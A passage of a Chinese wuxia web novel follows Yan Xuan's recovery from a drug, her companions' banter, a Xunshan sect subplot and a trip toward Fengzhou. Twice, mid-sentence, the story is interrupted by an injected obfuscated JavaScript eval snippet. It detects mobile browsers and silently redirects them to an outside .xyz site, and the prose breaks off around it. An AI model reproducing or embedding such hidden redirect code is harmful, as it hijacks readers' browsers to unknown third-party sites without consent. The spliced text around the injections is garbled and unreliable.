不过,再多猜想也无甚大用,药吃了,疯也发完了。是自己大意和知识的浅薄让栽了这遭,在人面前哭一哭也无妨,或多或少的羞耻心作祟难免会有些难堪和不自在,晏璇缓过最初的愤怒,心头余下的感受是困惑。 那些话真是她的真心话吗?还是说只是一些潜藏着的思绪被无限放大了,她虽然觉得很多事都很麻烦,可从不觉得活着是一件痛苦的事,永远困于那个黑暗之地才是最可怕的……该说不说,苍翊的药着实厉害,一个人想要攻击对方的薄弱之处还得察言观色,有过充分了解之后才行,而他只需一颗药就让人露出伪装的底色。 晏璇深深吸了一口气。 “阿璇,你醒了?” 花奕的声音自耳边响起,练武之人果然对气息吐纳很敏锐。 晏璇彻底清醒过来,周遭透着亮光已是白天,花奕正垂头看她。她动了动脑袋,才发现自己是枕在花奕腿上躺着的。 “奕姐姐。” “总算醒了,再睡下去可要错过午饭了。”她双手扶在晏璇肩头,脸上明显松了口气,笑道,“想起来还是想再躺一会?” “起了,背都睡僵了。” “哈哈,好。” 花奕先揽过她的上半身,让晏璇靠着,再托住她的伤腿一把将她抱起放置在一侧凳板上。 晏璇坐着理外衣,见花奕麻利收起地上干净的毯子放在一角,套好自己的靴子又蹲下给她穿鞋。晏璇想拒绝,可她开口必又少不了一番你来我往的说辞,索性默声配合。 若是花奕独自上路,便无需顾及这些。就说昨日露宿吃的东西也是照她的口味来,衣食住行,一行人全是迁就着自己在行动。 晏璇扯了扯嘴角正待说话,瞥见放置茶水的柜子上多了个细口白瓷瓶,里面插着好几种花瓣小巧的花朵,白的粉的黄的各色,绿叶有细长针形也有厚实的卵形,瞧着朴实无华,香味却清幽绵长,正是晏璇之前闻到的那股味道。 “出发前晏曜那小子在荒地上摘的,他说你看到了一定喜欢,心情自然就好。”花奕说道。 晏璇从野花上收回视线,轻笑了下:“嗯,很好看。” 花奕起身,用罐子里的清水沾湿帕子递给她,让她擦手擦脸。 晏璇接过,垂眸道:“奕姐姐……为什么总对我这么好?你不觉得我……其实很麻烦?”时不时冒出点事,身体又弱需要被照顾,足够惹人厌烦。 “你问得可认真?”花奕在对面坐下,颇有些大马金刀的架势。 “嗯……”晏璇点头。 “咚”一声,一记爆栗随即敲在她脑门上,花奕收起惯常的笑意,正色道:“我看孟珎的药还差些意思,你根本没解毒!” 师兄也觉得那药中搀了毒……晏璇心想。 “你是很麻烦,才先认了司前辈,后又来个苍翊,莫不说之前还能和小毒物殷数交上手,哪个江湖人都没有你这般际遇。” 晏璇:“……”花奕这话提醒她了,好似她有吸引一些特殊人物的体质,俗称主角光环。 晏璇:【小九,你说我这是主角光环吗?】 小九:【宿主,你肯定是你世界中的主角,至于光环……你一遇到他们,受伤次数可是直线上升。】 晏璇:【哦,那我是倒霉体质,倒霉世道倒霉人,不幸啊。】 花奕又接着道:“可那又如何,我若觉得麻烦当初就不会去亲近你,不顾师伯的冷眼每年还跑去雾山几次。对待朋友趋利避害,我还算人吗?” 花奕下手不轻,晏璇疼得捂住脑袋,憋出一句:“师父他脾气很好。” 花奕哼道:“他对自己唯二的徒弟当然好。你也知,他从不提及药王谷的事,自然也是不想见到我这个药王谷出身的。” “可我是什么性子,恣意惯了,不在乎他们长辈间那点恩怨,来去自由,人活一世就想做点自己想做的。” 她确实如一只随性的火烈鸟,热烈洒脱,晏璇常常被她的活力所感染。 “那奕姐姐想做些什么?” “到处走走看看,天下第一的名头我怕是够不着,多让我见识见识各家刀法也行。” 晏璇笑道:“天下第一刀如何不行?等下回的兵器谱排行,奕姐姐必榜上有名。” 花奕看着她微微叹气,伸出手摸向她的额头:“对我对别人你倒是不吝期许,对自己就不能开怀些?他们愿惯着你是他们的选择,没人逼迫,因为你值得。” “药王谷学医就我一个学武,娘亲虽未阻拦却心有遗憾,师兄师姐们也少有明白。可遇上你,你会问我喜欢什么,天下武学甚多为何偏修习刀法。我说与你听的那些东西,你即使不懂也会同我所乐。” “如此,还不明白吗?我也并非无缘无故对你好。” 值得……类似的话好似不久前自己才对孟珎说过。 晏璇垂着头,揪着手中的帕子,嘴角掀起一抹自嘲笑意:“奕姐姐,说体己话是再简单不过的事,这样的人什么都不用付出,只稍动动嘴说些虚情假意的话就博得了别人的好感,比起真正为你劳心劳力的人,他们得到了太多不属于他们的东西。” “一些人是不是只是耍嘴皮子,我看得分明。”花奕一把夺过她手里的帕子帮她擦手,又翻过帕子另一面盖住她的脸一顿胡噜,“都不知你哪来的功夫想些有的没的,成天炼药还不够。要不是看你身体不允许,我非得抓着你练功练到想不起别的。” “唔……奕……姐姐。”晏璇发出呜呜哀叫。 司珩掀起车帘,看到的便是这副疑似强制霸凌的场面,两人纠缠在一块,晏璇完全被花奕压制靠在车壁上,不仅动弹不得还发出悲鸣。 “奕丫头?小璇?” “啊,前辈。”花奕轻咳一声松开晏璇,顺便还帮她理了下凌乱的鬓发,转头道,“阿璇躺久了,我帮她松松筋骨。” 晏璇:“……” 司珩“哦”了声,仍是皱了眉头:“她体弱不同你我,你下手还是要收着点力。” 花奕笑呵呵道:“知道。” “我们准备停车休整,既然小璇醒了,你们也下来透口气。” “好。” 晏璇揉了揉被擦痛的脸颊,跟花奕这般胡闹了会,心中的郁气竟也去了两分,莫非激动之余加速了体内代谢?花奕也是真生气,过往她可不会对她下重手。 “可清醒些了?”花奕抱胸看她。 晏璇:“嗯。” 花奕遂点头:“往后别再说那样的话了,我没你想象中蠢钝,你也……算了,你怎样都行。” “奕姐姐冤枉人,我……从没觉得你蠢钝。”花奕确实比她以为的看得清,可晏璇也不至于觉得她蠢,都是在她躺在被窝里偷懒的年纪出来闯荡的人。 “行,反正差不多就那个意思,不说了。” “不行!”晏璇挺直背,顶着她那微红的脸蛋神色严谨,“才不是差不多的意思。有就有,没有便没有。” 花奕噗嗤笑出声:“嘿,想不到有一天我还能把你说急了,平时看惯了你那副云淡风轻的样子,快忘了你还只是个刚入世的小姑娘。” 她出世入世都不知几回了,晏璇心下撇嘴:“与年纪无关。” 花奕:“好,我冤枉了我们耿直的小晏姑娘。那现在,跟姐姐去外头吹吹风吧。” 昨日没想自己就这么睡过去了,晏璇还想问司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861981|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩一些事,再找孟珎一起研究下从苍翊身上顺来的那瓶药。这会趁休息刚好说会话,她斜着身子伸手去够旁边靠着的木拐杖。 摸着拐杖头上的刻字,晏璇微愣,之前喊停休息以及其他事项,孟珎都会骑马过来知会她。晏璇知他想与自己多亲近,有什么事便会主动靠过来,接她上下车也是。 “在看什么?等师弟啊。”花奕顺着她的视线瞧了一眼,“他一时半会顾不了你。” 晏璇疑惑:“师兄是做什么去了?” “你、你真等着他。”花奕早已看透没了脾气,微哼道,“估摸着被你的眼泪吓退,觉得无能不配出现在你面前了吧。” 晏璇:“……” 她想她能做到和孟珎不说话,孟珎未必,所以谅他不会再犯那种错。 晏璇撑着拐杖站起,左脚还不大能使力,半弯着身体挪向门边。 “哎!就这般心急?”花奕上前半步搀住她,气急道,“师弟好着呢,你这是做什么。” 晏璇:“终归是要动一动的。” 花奕瞪眼:“那也不急于此刻,分明就是想着那小子。” 晏璇笑了下不多解释,抬手掀起车帘,另一人也正从外头掀帘进来。 此瞬间,她堪堪对上孟珎黑亮的双眼,他气息微喘,碎发飞扬,似是大忙了一场。 “阿璇!你醒了。”他的声音透着欣喜。 孟珎站在车门边,目光一直在她脸上逡巡。 晏璇一下会意,心头微暖:“师兄,昨天我中了药,说过的话不可信。” “嗯。我找齐了缺的药材,你会没事。” 原来,他是去寻药了。 几人在一处大树底下歇息,昨日虽下了暴雨,今早就放晴了,等近了午时暑气蒸腾。 晏璇见杜若去照料马匹,便凑近司珩询问:“舅舅,苍翊也来自泑山,是个用药高手?” 司珩点点头,脸色微凝:“我不知这些年他下山做了什么,他那身本事不能小瞧。我们俩家过去虽无愁怨,可也不能无防人之心。” 晏璇已领教了那人糖中掺毒的恶趣味。 孟珎手上是晏璇给他的两瓶药,他分别以银针和放了各式药粉的清水试验,半晌眉头深锁道:“其一该是雪莲丹,有强烈的滋补药效可救人于垂危,同时含有毒副作用,轻则致幻、情绪低迷如师妹,重则损伤内脏和经脉。另一瓶则……” “如何?”花奕追问。 孟珎看一眼晏璇:“有毒,与时天辰身上所中之毒很像,比殷数所下之毒更相近。” 苍翊与时天辰吗?是江湖恩怨?还是别的什么缘由…… “难道最近江湖动乱全是因为那个苍翊,殷数只是吸引视线的替罪羊?”花奕疑道。 “未必。”司珩沉声,“无风不起浪,江湖上真真假假的事太多。” 晏璇只想安安稳稳到达郦城,他们的事半点不想掺合。 “舅舅,流云岛你之前可有听过?” 司珩摇头:“那地方在一个镇边,走镖时路过知道有一个湖心岛,却不知就是他们口中说的流云岛。” 晏璇想问问十一,她却一直未现身,初七也听说在天亮时就消失了。 那便走一步算一步。 南塘,雀来客栈。 几个身穿灰白道袍的男人进门,坐在堂内的食客一阵窃窃私语。 “是峋山派的吧,看那打扮?” “前头那位一脸书卷气拢着袖子的,可不像舞刀弄枪的啊……” “真是有眼无珠,那是闵铎,峋山派的副掌门!” 客栈二楼响起脚步声,脸上犹显苍白的商陆打头走下楼来,纪霜叶方御等弟子紧随其后。 他抚了下衣襟,向着侧身挺立的男人恭敬行礼:“商陆见过师叔。” 其后几人:“见过副掌门。” 男人闻言,长袖轻摆转过身来,看不出年纪的俊秀脸庞满是和煦笑容。 “不必多礼,辛苦了。” 65. 第 65 章 静室之中,药香袅袅,众人凝神屏气,小心翼翼围站一旁。 以玉簪束发的男人面色沉静,他双手轻扬抖动衣袖露出一小截手腕,右腕内侧一道浅色疤痕隐在堆叠的袖口下,闵铎落座于竹榻一边。 “坐,陆儿。”他温声开口。 商陆应声坐到塌上另一侧,在闵铎的示意下,他伸出左手搁在小几上。 闵铎一边观他脸色一边搭脉,间或提问几句,点头思索。半刻之后,有弟子端上清茶,闵铎结束诊脉,拿过一旁的干净帕子细细擦手,之后才端起茶盏吹开浮沫,浅尝一口。 “毒伤大体已无碍,内伤还需温养。你要好好谢谢那位给你治伤的大夫,要不是他及时帮你祛毒,仅靠我的解毒丹恐撑不到我下山来看你们。” 话落,几个弟子你看我我看你,神色异样。 闵铎一顿微笑道:“怎么?可有发生了什么我不知道的趣事。” 纪霜叶见状忙上前一步:“禀副掌门,是之前弟子们见识短浅,以为给师兄治伤的是个寻常大夫,没想到有如此本事,一时惊诧不已。” “想必当时也给了对方脸色看吧。”闵铎摇头微叹,“行走江湖,少不得谨小慎微、谦恭有礼,你们作为峋山派新一代,更有责任将侠义之剑发扬光大,其中首要的便是为人,身正方能正人。” “师叔所言甚是,弟子谨记。”商陆瞧了眼师弟妹们,垂首道。 “弟子们谨记。”其余弟子纷纷应和。 闵铎挥了挥手:“罢了。不过,南塘有如此医术精湛者,我竟不知。” 商陆已重新理好衣袍,站于一侧回道:“并非南塘本地人,是一过路游医,据说师承黄药师,弟子侥幸为她所救。” “黄药师?未曾听过的名号。”闵铎一挑眉。 商陆:“也是一济世游医,常住北地一带。” “北地啊……那儿多山林,奇珍异兽不少,药材也多,能出这么一位厉害的药师也不怪哉。” 闵铎接着询问了一些他们下山的细节,一壶茶也喝得差不多了。 他挥了下衣袖,单手放在膝侧,缓声道:“此次掌门师兄也交待了任务,他命我先带你们即刻赶往丰州,武林大会在即,需提前做好准备。” 商陆垂眸:“弟子无能,未成功抓获殷数。” “狡兔尚有三窟,且那人手段阴毒,不怪你。”闽铎眉眼微冷,肃然道,“我已收到确切消息,欧阳馗在丰州出没,姓殷的作为徒弟定会与之会合。说不定,那人此刻已在路上,你们也准备一下马上出发。” 众弟子拱手道:“是。” 待出了静室门,商陆不觉呼出一口气,全然不似他平日里的淡然镇定,每每感受到师叔那双温和的眼睛扫向他,犹有千斤重担压来…… “大师兄,你在想什么?”纪霜叶跟在后头轻问。 商陆的手指不经意蜷缩了下,他摇摇头:“没什么。” “我倒是在想去丰州的事。”纪霜叶浅笑一声,“或许,我们能很快再见到晏姑娘。” 丰州……那人是说过要去凑热闹。但愿见到她的时候,他能有机会还了她的恩情。 商陆眸中泛起涟漪,他低嗯一声。 “一切随缘。” · 天气越发炎热,晏璇一行携带的干粮多是易保存的饼。头两日,车上有新鲜食材吃得还算丰盛,之后便也靠临时打些野味加餐。 晏璇自是不用关心这些,不过行进路途多是野外荒地,她也算旁观学了点东西。比如这打野味就有讲究,除了野菜野果,想要吃得容易首选最好是鱼虾之类的水产,然后是野兔野鸡易捕易处理的。莫想着逮只野猪烤来吃,且不说危险,就算费半天功夫拿下了,能下嘴咬得动的人算天赋异禀,那些野味的肉质除去腥臊味不说,更是巨硬无比。 在路上走了四五天,这日他们途径一条宽敞溪流停下歇息,正好可以洗去一身闷臭。 司珩在附近探看了一番,说这水的源头大约是从泽溪分过来的,泽溪虽叫溪却是一条天然水道横跨了丰州几个城,郦城便是在这条水道旁。 看来,他们离目的地很近了。 几人依旧分工协作,有拾柴烧火的,捕鱼摘菜的,照料马匹清洗的,晏璇背上她的小药箱被安坐在不远树下,埋头于她的新药炼制。 大约是被苍翊刺激狠了,她涌出一股强烈冲劲,拉着司珩和孟珎探讨医药知识像个刚见识到学海无涯求知若渴的学子。 泑山或是地理位置特殊,晏璇听司珩提到了几味药及其药性,都是她不曾了解的,师父给的手札中也难以找到相似药材,令她十分新奇。她也同孟珎研究解毒方子,譬如在不影响雪莲丹的增益药效下如何化解或者减少它的副作用。 除开必要的进食休息,晏璇几乎一心都扑在磨药配药试药上,马车里多了许多做了标记的瓶瓶罐罐,好在出发前孟珎给她备了足够多空瓶子,随她折腾。 “小姐,这个……给你。” 晏曜怯怯的声音传来,晏璇拿药刷的手一顿,她甫一抬头,映入眼帘的是一捧沾着水露的野花。 “你摘了送我的?”晏璇问。 “嗯。”晏曜点头,嘴角含笑,“长在小溪那边,我捡干草的时候发现的。这种带点紫色的小花很好看,我觉得小姐会喜欢。” 晏璇接过,这些色彩斑斓的花朵与之前晏曜送她的很像,里面还有不少是清热解毒的药草。其中他特指的紫花,只花瓣尖有一抹紫色,花的形状如一只向下展翅的飞燕,很少见。 晏璇:“这种花有名字吗?” “唔……好像是叫紫缨花,小的时候我记得有人是这么叫它的。” 紫缨花……倒是和她知道的另一种同名的花长得完全不一样。 “好听又好看,谢谢你,小曜。” 少年脸上总带着羞涩的笑意,出于真心也好,出于报恩也好,他用行动让晏璇感受到了他的赤诚,哪怕有时表现得有些笨拙。从前的他因为太过弱小陷入困境,然他没有被苦痛腐蚀本性,他珍惜且难忘苦难岁月中建立起的那点友谊。花灯节燃放烟花那晚,晏璇不知他去做了什么,或是告别旧友,或是了断恩怨,从此他才算真的是晏曜了。 “小徒儿,别摘你那花花草草了,快过来帮师父一把。”花奕喊了一嗓子。 晏曜不好意思挠了挠头:“师、师父。” 晏璇笑笑:“去吧。” 花奕正单手扛着晏璇的轮椅将其放在平地上,见晏曜过来便指挥他去溪边取水。 “擦洗过后,等日光晒干就好。”她顺手还丢给他一张帕子。 晏曜忙伸手接过,点头应是。 花奕拍了拍手,几步走到晏璇身边,盘腿坐下。 “那轮椅两天前不是才擦过,孟珎怎么又要我帮你洗一遍?”她单手撑着额头看晏璇捣鼓药材。 晏璇微窘,她要怎么解释那晚自己与耗子的近距离“激战”……拜苍翊所赐,她吃了药后真成了耗子眼里的香饽饽,短时间内释放出的某种气息令它们“疯狂”,倘若晏璇不怕老鼠还好,一针或者一石头解决了,恰巧她对老鼠的过度洁癖反应致使她自乱阵脚。 孟珎几次见她心中介怀,对她近身物品的洁 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“不是可能!”花奕一下坐直身体,伸手戳了戳她的额头,咬牙道,“难不成你认了舅舅,找回亲生爹娘后就要把我们一大帮人全撇了?” 晏璇苦笑:“不是……” “信不信把你这话告诉孟珎,他能寸步不离粘死你,闷葫芦的唯一优势就在这。” 师兄他应该不会吧……他不会做令她难堪亦或难过的事。 晏璇下意识抬眼搜寻起他的身影,扫视了一大圈,其余人都见着了唯独少了他。 “他不在。”花奕哼笑,“你是不是也怕了他那股缠人的倔劲?方才他交待我帮你清洗轮椅,自己则骑马离开了,说有些私事要办。” 私事?办什么私事需要骑马离开,也没有与她打个照面就走了…… 晏璇一下下捣着药杵,想着这些天是不是自己太专注于炼药而忽视了他的一些异常。 “阿璇,你都捣弄半天了,还有哪些需要处理的,我来帮你。”花奕道。 晏璇摇头笑道:“没关系,都差不多了。奕姐姐不熟悉药材,弄巧成拙反被药伤了就不好了。” 花奕撇撇嘴,她确实对药材一窍不通,故看了一会也不知如何下手帮忙。 咦,说她全不认识也不尽然,这儿有一样她还是识得的,饭桌上还能见着呢。 “这个我知道,是茴香,原来它也能入药。”花奕指了指药柜中的几粒种子。 晏璇看一眼,点点头:“嗯,这是小茴香,有行气、散寒止痛的功效。” 话一说完,晏璇猛地抬头,望向溪水的另一头愣住了。 花奕不明所以,疑道:“怎么了?茴香有问题?” 晏璇张了张嘴,心头暗叹,转头看向花奕,认真道:“奕姐姐可熟悉此地,附近有没有叫得上名字的镇子?” 花奕摇头:“你若问我丰州城里的我还能说上来,这儿太偏了。可以问问司前辈,他见多识广。” 司珩抓了几尾鱼,刚收拾好串上木棍架到火堆上烤,人就被喊了过来。 “阿璇问这附近有什么村镇……往西北方向几十里确实有一个,我记得叫河山镇,镇子不大,也是个靠山吃山靠水吃水的地方。” “我们没必要绕远路去那,差不多明日就能到目的地附近的镇上了。”司珩笑着拍了拍她的肩膀安慰道。 真的是河山镇,孟珎的故乡…… 晏璇勉强挤出一丝微笑点头应和。 她好像一直没怎么在乎过孟珎。 66. 第 66 章 清风朗日,伴着潺潺溪水,暑气也没那么熏人了。马尾轻晃,马儿们悠闲地在溪边喝水。 稍远处,石头堆砌的简易灶台上架了一口锅,锅内热汤已成,鲜鱼被串在削过皮的细长硬枝上烤得金黄恰到好处,一行人换洗一番后,坐在一旁享用食物。 一口鱼肉,一口解腻的野菜汤,简单却别有滋味,花奕吃得赞不绝口。这些时日,多数时都由司珩料理吃食,花奕没想到除了孟珎,这位也是粗中有细,手艺了得。之前的陌生与芥蒂,因着一路的相处正在消减。 男人眼角含笑,神情放松,忙着为晏璇盛汤递吃的,怕她烫手特地备了帕子垫着,无处不细心。虽说是长辈,也不过是长了几岁不到四十的青壮年,脸上却有着不合年岁的风霜纹路,眉间两道更是深刻成印,若平时不做表情,便会显得冷硬深沉。 要是没有阿璇,花奕想不到与他打交道的可能。十几年前震惊江湖,人人谈之色变的人物,此刻在眼前同她阿爹、天下父母一样,流露出慈爱,无微不至地照顾晚辈。 她出来闯荡不久,只见识过些小打小闹,还没有遇着爹娘常说的那些险恶。然这两个月来,与阿璇重逢之后遇到的人和事,让她一味觉得江湖有趣的头脑冷静下来。她明白,江湖从来不是一个讲道理的地方,有人必有纷争,也会有恶人,但她总觉得在追求武学一道上或许人会纯粹些。 从前她便很向往峒山派姚掌门的刀法,被人称赞为一刀震九天的功夫该是何等气势,听闻他早已退隐花奕唏嘘好久,峒山派也没个继承衣钵的,靠着一套穿心腿法已是式微。如今看来,姚之言时任武林盟主,风头无两,突然决定隐退恰是在司珩和披云堂大闹之后,司珩又道出当年是被迫起了杀意并非传言中的狼子野心害人害己,一切变得耐人寻味。花奕隐隐觉察到一丝失落。 爹娘开明放任她游历的用意之一,大概就是要她己有所悟。所以,她对阿璇和司珩相认一事,心中没有太多纠葛。一个能十几年如一日寻亲的人,他的偏执异常无可厚非,且先不说当年真相,他对晏璇的好是肉眼可见的,以至在没有确定亲缘关系前,她一度觉得此人熟络得过分。 花奕掩起心绪,寻常吃鱼笑谈:“前辈这鱼烤得极好,可惜阿璇没这个口福。” 司珩:“此鱼鱼肉结实,刺少,是这一片特有的山泉鱼,我们今日运气好。” “在流云岛上这鱼是为家常菜,各位届时可以再好好品味一番。”杜若也道。 “哦?”花奕咀嚼两下吞下美味,挑眉道,“说起来,流云岛到底有何特别之处,你们少主的舅舅为什么要在那养病?” 杜若微笑道:“病人养病无非一个静字,岛上人少且冬暖夏凉很是宜居。” 远离喧嚣的地方何其多,偏选中这处偏得无人知的,花奕一听就知他不愿说实话。 “听说有些地方的水土特别养人,是上苍赐予的福气,或许这就是时少主选中流云岛的原因吧。”司珩道。 湖心岛比之他处空气清新自然,长居于此确实有益,司珩说得也不无道理。 晏璇点点头:“好的水质与土地能收获好的粮食瓜果,病人吃得好住得好身体自然也会好。” “哦,敢情是个宝岛。”花奕笑道。 杜若:“晏姑娘是大夫,懂养生之道,大约便是这个理。” 晏璇瞥他一眼承了他的话,未再继续深讨。 “小璇,给,小心烫。”司珩拿了一块炊饼给晏璇。 因为她吃不了鱼,司珩单独给她烤了饼,直接吃已是香脆,他又在附近找到一些红色果子,去皮去核后借用她的药杵捣烂成果酱加了一点蜂蜜,更是一绝。 晏璇接过,咬了口抹了酱的饼很有种过往记忆中吃早餐的错觉。 “舅舅,你是怎么想到这个吃法的?” 司珩微哼:“倒不是我想的,是那小子说你从前提过这个吃法,浆果也是他在路上摘的,刚好拿来就饼吃。” 小九:【他真的,我哭死。宿主,孟小子人都走了,还想着要给你洗轮椅,吃什么都给你准备好了。】 晏璇:【你会哭吗就哭死?下次把你的语言包回退到从前的版本,现在听你说话就火大。】 小九:【宿主,那不行了,所有的东西都是与时俱进的。你火大不是因为我,是因为孟小子不告而别。】 晏璇:【与时俱进也没见你给我升个金手指,十多年了,就上次给了我一张符,还是一次性的。】 论斗嘴小九不可能说得过晏璇,它只得悄摸缩回角落里。 司珩见晏璇只是盯着饼瞧,既没说好吃也没说不好吃,往日里他提到孟珎,她还会顺着他的话变相帮那小子说两句好听的,今天这是怎么了? “是不是不合口味?”司珩试着问,“我再去附近看看有什么能吃的。” 晏璇微愣,摇摇头道:“没有,好吃的。” 她把帕子铺在腿上,捧着饼小口咬着,果酱鲜甜不涩,又有蜂蜜调和,尝起来有些像树莓的口感。 司珩处理鱼的手法也很特别,烤之前用一种植物的汁液涂抹鱼身,烤出来的鱼香酥且没什么腥味。杜若举着半条烤鱼,朝着晏璇道:“同镖头的秘制烤鱼,晏姑娘真的不尝尝味道?” 晏璇抬头,看他们四个都吃得满嘴余香,说道:“其实,味重些的东西我从小都不大爱吃,爹娘也惯着我,久而久之就不怎么碰了。当然,偏食是不好的习惯,特殊情况下也不能太讲究。小曜,你长身体多吃一些。” “啊?”突然被提到名字,晏曜脸颊微红,“小姐,我、我吃了很多,饱了。” 晏璇:“每次你都说吃饱了,可你看看自己的小身板,太瘦了。你师父说你挡不了她一拳就得趴下。” 晏曜:“呵呵,师父她武功盖世,三个我也是挡不住的。” “少吹马屁,要是三个你还挡不了我一拳,还是别喊我师父了,跟孟、跟前辈学点轻功吧。”花奕道。 司珩扬眉:“那我要先说声抱歉了,同氏武功虽称不上上乘,却是只传亲不传外。” 晏曜忙摆手道:“是我不够努力,我一定跟着师父好好学。” 花奕点头:“行,等把基本功打扎实了,我再传你花家刀法。” 晏璇:“……” 什么同氏武学,花家刀法,这几个真要把人唬得一愣一愣的。 “小曜不想学武也没事,可以跟我学医。”晏璇笑道。 “不行,要学让他跟着孟珎学,反正你们一个师门的。”花奕拿树枝指着她比划道,“你自己学得辛苦还带个徒弟,下回再一哭我都不知怎么哄,只会在旁边干着急。” 晏璇:“……” 司珩皱眉:“小璇哭了,是什么时候的事?为什么哭?” 那天晚上的具体情形除了他们几个,没让司珩知道。 “舅舅,你别听奕姐姐胡说,我那天是……不小心喝了口酒,对,喝了酒。人糊涂了嚷嚷着不想学医,反正哭哭啼啼的特别丢人,我们不要再提了。”晏璇用手蒙住了脸,讨饶道,“说晏曜的事,就不要说我了……” 司珩:“原来是醉酒了。” 花奕叹了口气:“哎呀,就怕……酒后吐真言。” 晏曜腾的站起,大家的目光被引了过去,他飞快道:“小姐,我现在学着自己看书,已经能分清大部分药材了,孟大哥有时也会教我。” “你倒是个勤学的孩子。”司珩道。 几人你一言我一语,虽吵吵闹闹可见感情融洽。杜若听得分明,就是被他们之间的关系绕糊涂了。他稍稍打量眼前的少年,长得瘦弱偏黑,与晏璇无一处相似,眼睛倒是明亮像含了一汪春水,少年亦对晏璇恭敬唯命是从,应该是被赐了姓的家仆之类的人,可他又是花奕收的徒弟,花奕则是晏璇的好姐姐…… “恕我冒昧,晏姑娘如此关切晏曜小兄弟,他……可是你的远房亲戚?”杜若问道。 远房亲戚?不知这人在想什么,晏璇轻笑一声:“他是我弟弟。” 晏曜还未来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913313|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应答杜若的问话,这句轻柔的话语就飘进耳内,像一块烧红的烙铁烫进心里,疼得他心脏猛缩,瞬间含了泪。晏曜双眸颤动,想着自己若真是她的弟弟该有多么幸运,他们会一起长大,一起出游,他一定一定护着她,成为她最好的弟弟。 然而,这一切都是妄想。 “小姐说笑的,我……是被她偶然救下的孤儿,不是她弟弟……小姐却是我的救命恩人。” “这话我都听腻了,既然我救了你不得听我的?”晏璇没好气道,“不肯喊姐姐就算了,我自封一个总成吧。” 晏曜讷讷:“小姐……” “哦,原来如此。”杜若打圆场笑道,“晏姑娘心善,晏曜小兄弟又懂感恩,善缘结善果,真是无与伦比的一场相逢啊。” 晏璇:“……”差点忘了这人最初就是靠着那张嘴把自己蒙蔽了。 “既姓了晏,也是晏家人了,姑且算小璇的弟弟。”司珩道。 当初,他也嫌晏璇多事,天下受难的人多了去了,总不能见一个救一个,况且救的人不定是什么狼心狗肺之辈。这一个,她没救错。 杜若点头应和,不禁又多看了晏曜两眼,少年不是生来瘦弱,是长期挨饿受苦导致的。细看他的面相,天庭饱满,五官端正,若长开了也是个俊秀少年。他甚至从晏曜的眼角眉梢中瞧出了几分熟悉感,似乎有个人看人时也这般秋水盈盈…… 晏璇吃完就进了马车休息。司珩说他只给了孟珎一个半的时辰,等过了时间,他们便出发。如今已经过了一个时辰。 她靠坐在车窗边,手里摩挲着那枚银铃铛,细碎的叮咚声和着窗外的鸟鸣,思绪不知怎的飘到十里坡那夜。 彼时,十一大哥的玉铃铛在她手里,她心血来潮将它绑在腰间,天真地想着和孟珎站一块会不会闯出个铃铛教派的名头,完全没意识到一男一女挂着相似的信物,此举有多暧昧。孟珎是想到了,却是说什么她有了新铃铛,和她很配之类的话,现在想来当时他整个醋意上脑,是哀怨自己把他这个“旧铃铛”忘了。 晏璇无声笑了笑,那块木头鼓起最大的勇气大概就是跑去斛县,感情里“又争又抢”这种事他是真做不来。算了,谁叫她就被温水煮青蛙,被他这汪溪水泡软了。想想,她的金铃铛应该快成了。 “咚咚咚。”有人在车壁上敲了敲。 “小璇,时辰差不多了,我们准备出发了。” 晏璇掀开车窗帘子,见司珩已骑在马上,整装待发。 她微顿道:“舅舅,师兄是不是还没回来?” 司珩轻拉缰绳微转马头,神色认真:“他与我说好了几时便是几时,没有等的道理。况且,以我们的脚程,天黑前堪堪有望赶到镇上。” 野外露宿毕竟危险,晏璇明白司珩的考量。 她点了点头道:“好,那就走吧。师兄他认得路,相信他随后就会追上。” 司珩的目光在她脸上逡巡几许,未感受到她的勉强和忧心,方露了笑意满意离开。 车声辚辚,马儿吃饱喝足后跑得飞快,半刻钟功夫已不知走了几里地。晏璇只感受到风儿从脸上不断拂过。 “小姐,这几包药都已经筛好了,还有哪些需要捣弄的?” “嗯?” 晏曜重问了一遍,晏璇才回过神,她指了指其中两样:“把这些切碎了放在药柜里就成。” 忽的,一阵“哒哒哒”的声音响起,由远及近混在车马声中,晏璇双耳微动,一下坐直了身体。 那股强劲的震感越来越重,随之又渐渐平缓下去,马儿“嘚嘚”的声音不再杂乱。福至心灵,晏璇撩起车帘,一道骑马昂扬的身影后来居上,落于马车外共进退。 “阿璇,我回来了。” 一抹温煦笑意绽开在来人的脸上,孟珎微喘着调整呼吸,束起的发尾随着身体的跃动而飘扬,日光照在他身上,有一种新生的神采焕发。 晏璇看着他,心里的一点愁闷不自觉就散了,会心一笑。 “嗯。” 67. 第 67 章 习武之人耳力惊人,司珩又是其中佼佼者,车后传来动静他立马就注意到了。 迟了一刻钟,那小子还算守时。司珩如常在前头骑行开道,偶尔向后瞥去一眼,看孟珎贴着马车缓行一副小意温柔的作态,明知如此中又带点忿忿的情绪涌上心头。当看到晏璇笑意盈盈,从车窗中探出头递了什么东西给孟珎,他心里的郁气更是浓了几分。 两人之前在他眼前还有所收敛,不知从哪天起,这姓孟的是越发胆大了。关于泑山司家,司珩有好些事还未曾谈及,虽然阿姐下落不明,但晏璇始终是司家血脉会被认回族里,凡司家女子想与外族结连理并非易事,阿爹就是例子…… 